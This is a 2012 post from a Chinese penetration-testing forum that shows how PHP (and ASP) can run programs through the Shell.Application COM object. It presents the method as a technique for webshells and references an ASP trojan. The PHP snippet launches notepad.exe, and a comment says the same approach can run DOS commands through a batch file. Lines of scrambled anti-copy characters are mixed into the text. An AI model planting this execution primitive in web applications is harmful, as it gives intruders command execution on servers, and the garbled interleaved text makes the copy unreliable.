中国网络渗透测试联盟
标题:
php和asp利用Shell.Application来执行程序
[打印本页]
作者:
admin
时间:
2012-9-15 14:29
标题:
php和asp利用Shell.Application来执行程序
关于用Shell.Application来执行程序，在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
2 h: J. g; F& `. ]
3 z0 s+ p8 s4 [
今天试了一下，用open也可以。php代码如下，我好像还没有在php的webshell中看到相关方法
; g& Z& L6 T# w# h& R! A
# u% g8 @0 s& N, S7 W. ]; [) s Q
<?php
8 ^7 c& g* g6 i, W$ b5 A& i
$wsh = new COM('Shell.Application') or die("Shell.Application");
# W- u: d, B7 p" \$ [
$exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
?6 M) p/ D' r
//没有回显，多了个notepad进程，可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
5 y( _$ ], ~" |" L8 S* Y
?>
: q$ D' h$ L0 k9 U/ c! M
; i s: o+ A% g
xp+APMServ5.2.0测试通过。
& U6 |* k% M) p$ J
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2